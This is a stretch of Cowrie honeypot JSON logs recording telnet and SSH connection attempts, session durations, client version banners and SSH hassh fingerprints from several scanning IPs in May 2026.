{"eventid":"cowrie.session.closed","duration":72.94898843765259,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:11:46.859432Z","src_ip":"49.88.156.34","session":"7442595234d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.49550914764404,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:12:12.582691Z","src_ip":"207.154.251.61","session":"23e6f192047c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"669218f8c4db","protocol":"telnet","message":"New connection: 207.154.251.61:50454 (10.17.0.5:23) [session: 669218f8c4db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:12:27.663961Z"}
{"eventid":"cowrie.session.closed","duration":1.2388372421264648,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:12:28.902696Z","src_ip":"207.154.251.61","session":"669218f8c4db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53258,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ed7924891a","protocol":"telnet","message":"New connection: 104.245.105.2:53258 (10.17.0.5:23) [session: b3ed7924891a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:12:51.729133Z"}
{"eventid":"cowrie.session.closed","duration":120.00197505950928,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:12:57.332247Z","src_ip":"207.154.251.61","session":"c404b7cc1bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"a90ed6e8cb00","protocol":"telnet","message":"New connection: 207.154.251.61:59340 (10.17.0.5:23) [session: a90ed6e8cb00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:03.280602Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48418,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6cae2545ff1","protocol":"telnet","message":"New connection: 104.245.105.2:48418 (10.17.0.5:23) [session: d6cae2545ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:05.785276Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30886,"dst_ip":"10.17.0.5","dst_port":22,"session":"647589c9dc64","protocol":"ssh","message":"New connection: 194.59.206.2:30886 (10.17.0.5:22) [session: 647589c9dc64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:18.785483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:18.790156Z","src_ip":"194.59.206.2","session":"647589c9dc64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:18.885490Z","src_ip":"194.59.206.2","session":"647589c9dc64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:18.980350Z","src_ip":"194.59.206.2","session":"647589c9dc64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.417288541793823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:23.146296Z","src_ip":"104.245.105.2","session":"b3ed7924891a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.29406380653381,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:44.079222Z","src_ip":"104.245.105.2","session":"d6cae2545ff1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":37402,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcd3b6060963","protocol":"telnet","message":"New connection: 207.154.251.61:37402 (10.17.0.5:23) [session: bcd3b6060963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:13:51.149067Z"}
{"eventid":"cowrie.session.closed","duration":104.95322918891907,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:14:48.233678Z","src_ip":"207.154.251.61","session":"a90ed6e8cb00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.129679441452026,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:14:50.278644Z","src_ip":"207.154.251.61","session":"bcd3b6060963","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41390,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d3766122b2","protocol":"telnet","message":"New connection: 104.245.105.2:41390 (10.17.0.5:23) [session: 40d3766122b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:15:29.755385Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":57956,"dst_ip":"10.17.0.5","dst_port":22,"session":"0df7bcd03253","protocol":"ssh","message":"New connection: 103.149.252.223:57956 (10.17.0.5:22) [session: 0df7bcd03253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:15:40.817252Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:15:40.822841Z","src_ip":"103.149.252.223","session":"0df7bcd03253","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:15:40.827650Z","src_ip":"103.149.252.223","session":"0df7bcd03253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.255.9.62","src_port":57968,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c0c331c805","protocol":"telnet","message":"New connection: 165.255.9.62:57968 (159.203.135.109:23) [session: 74c0c331c805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:15:42.509359Z"}
{"eventid":"cowrie.session.closed","duration":13.25329875946045,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:15:55.762541Z","src_ip":"165.255.9.62","session":"74c0c331c805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33828,"dst_ip":"10.17.0.5","dst_port":23,"session":"09e8058455b5","protocol":"telnet","message":"New connection: 104.245.105.2:33828 (10.17.0.5:23) [session: 09e8058455b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:16:01.375160Z"}
{"eventid":"cowrie.session.closed","duration":35.921387910842896,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:16:05.676677Z","src_ip":"104.245.105.2","session":"40d3766122b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.896841526031494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:16:38.271888Z","src_ip":"104.245.105.2","session":"09e8058455b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":35580,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6e6b7f8f467","protocol":"telnet","message":"New connection: 207.154.251.61:35580 (10.17.0.5:23) [session: c6e6b7f8f467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:17:18.182434Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48122,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c2165965a6b","protocol":"telnet","message":"New connection: 104.245.105.2:48122 (10.17.0.5:23) [session: 4c2165965a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:17:49.931843Z"}
{"eventid":"cowrie.session.closed","duration":40.25811576843262,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:17:58.440423Z","src_ip":"207.154.251.61","session":"c6e6b7f8f467","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60300,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce571dd0cf69","protocol":"telnet","message":"New connection: 207.154.251.61:60300 (10.17.0.5:23) [session: ce571dd0cf69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:17.809510Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b550ab5c154","protocol":"telnet","message":"New connection: 207.154.251.61:60294 (10.17.0.5:23) [session: 3b550ab5c154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:17.870942Z"}
{"eventid":"cowrie.session.closed","duration":30.422223329544067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:20.353937Z","src_ip":"104.245.105.2","session":"4c2165965a6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":32850,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ef8e12c25d5","protocol":"telnet","message":"New connection: 207.154.251.61:32850 (10.17.0.5:23) [session: 3ef8e12c25d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:27.882973Z"}
{"eventid":"cowrie.session.closed","duration":0.005069255828857422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:27.887920Z","src_ip":"207.154.251.61","session":"3ef8e12c25d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":45986,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9e8984b338e","protocol":"telnet","message":"New connection: 207.154.251.61:45986 (10.17.0.5:23) [session: f9e8984b338e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:27.917391Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":37202,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0f74c119818","protocol":"telnet","message":"New connection: 207.154.251.61:37202 (10.17.0.5:23) [session: c0f74c119818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:30.576310Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38052,"dst_ip":"10.17.0.5","dst_port":23,"session":"024fc723a2c3","protocol":"telnet","message":"New connection: 104.245.105.2:38052 (10.17.0.5:23) [session: 024fc723a2c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:45.659834Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60366,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c8e46bda995","protocol":"telnet","message":"New connection: 104.245.105.2:60366 (10.17.0.5:23) [session: 9c8e46bda995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:50.930073Z"}
{"eventid":"cowrie.session.closed","duration":38.08638906478882,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:18:55.895780Z","src_ip":"207.154.251.61","session":"ce571dd0cf69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.9048113822937,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:09.481038Z","src_ip":"207.154.251.61","session":"c0f74c119818","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.770500898361206,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:21.700477Z","src_ip":"104.245.105.2","session":"9c8e46bda995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":50126,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa3648cb1d52","protocol":"telnet","message":"New connection: 207.154.251.61:50126 (10.17.0.5:23) [session: fa3648cb1d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:28.341928Z"}
{"eventid":"cowrie.session.closed","duration":51.168023109436035,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:36.827683Z","src_ip":"104.245.105.2","session":"024fc723a2c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":42710,"dst_ip":"10.17.0.5","dst_port":23,"session":"65233a8aba15","protocol":"telnet","message":"New connection: 207.154.251.61:42710 (10.17.0.5:23) [session: 65233a8aba15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:39.124257Z"}
{"eventid":"cowrie.session.closed","duration":85.27129936218262,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:43.142138Z","src_ip":"207.154.251.61","session":"3b550ab5c154","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":87.51343202590942,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:55.430700Z","src_ip":"207.154.251.61","session":"f9e8984b338e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44704,"dst_ip":"10.17.0.5","dst_port":23,"session":"c019794fef91","protocol":"telnet","message":"New connection: 104.245.105.2:44704 (10.17.0.5:23) [session: c019794fef91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:19:56.507975Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.247.137.200","src_port":35647,"dst_ip":"10.17.0.5","dst_port":23,"session":"576be424b67b","protocol":"telnet","message":"New connection: 185.247.137.200:35647 (10.17.0.5:23) [session: 576be424b67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:20:35.859632Z"}
{"eventid":"cowrie.session.closed","duration":2.000553607940674,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:20:37.860043Z","src_ip":"185.247.137.200","session":"576be424b67b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47286,"dst_ip":"10.17.0.5","dst_port":23,"session":"0acd6ec92438","protocol":"telnet","message":"New connection: 104.245.105.2:47286 (10.17.0.5:23) [session: 0acd6ec92438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:20:43.319840Z"}
{"eventid":"cowrie.session.closed","duration":49.329718589782715,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:20:45.837533Z","src_ip":"104.245.105.2","session":"c019794fef91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":68.25036549568176,"message":"Connection lost after 68 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:20:47.374481Z","src_ip":"207.154.251.61","session":"65233a8aba15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34052,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbc7a773fd2a","protocol":"telnet","message":"New connection: 104.245.105.2:34052 (10.17.0.5:23) [session: cbc7a773fd2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:21:02.216556Z"}
{"eventid":"cowrie.session.closed","duration":31.10807228088379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:21:14.427820Z","src_ip":"104.245.105.2","session":"0acd6ec92438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126504898071,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:21:28.343053Z","src_ip":"207.154.251.61","session":"fa3648cb1d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.179970026016235,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:21:34.396417Z","src_ip":"104.245.105.2","session":"cbc7a773fd2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34322,"dst_ip":"10.17.0.5","dst_port":23,"session":"3578761dca23","protocol":"telnet","message":"New connection: 104.245.105.2:34322 (10.17.0.5:23) [session: 3578761dca23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:21:44.720384Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":49104,"dst_ip":"10.17.0.5","dst_port":23,"session":"419d89cc3879","protocol":"telnet","message":"New connection: 207.154.251.61:49104 (10.17.0.5:23) [session: 419d89cc3879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:03.960132Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":48882,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb67ecc007a1","protocol":"ssh","message":"New connection: 194.59.206.2:48882 (159.203.135.109:22) [session: bb67ecc007a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:06.361775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:06.366515Z","src_ip":"194.59.206.2","session":"bb67ecc007a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:06.456195Z","src_ip":"194.59.206.2","session":"bb67ecc007a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:06.554035Z","src_ip":"194.59.206.2","session":"bb67ecc007a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.631712436676025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:15.351972Z","src_ip":"104.245.105.2","session":"3578761dca23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33444,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c0d601b498","protocol":"telnet","message":"New connection: 104.245.105.2:33444 (10.17.0.5:23) [session: 96c0d601b498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:16.315338Z"}
{"eventid":"cowrie.session.closed","duration":32.2838237285614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:48.598983Z","src_ip":"104.245.105.2","session":"96c0d601b498","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.87971115112305,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:52.839702Z","src_ip":"207.154.251.61","session":"419d89cc3879","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"399c04bfd524","protocol":"telnet","message":"New connection: 207.154.251.61:51658 (10.17.0.5:23) [session: 399c04bfd524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:22:55.157876Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58858,"dst_ip":"10.17.0.5","dst_port":23,"session":"495e80db6587","protocol":"telnet","message":"New connection: 104.245.105.2:58858 (10.17.0.5:23) [session: 495e80db6587]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:15.993070Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":49092,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffea1848adb1","protocol":"ssh","message":"New connection: 193.24.211.95:49092 (159.203.135.109:22) [session: ffea1848adb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:17.499303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:17.511368Z","src_ip":"193.24.211.95","session":"ffea1848adb1","protocol":"ssh"}
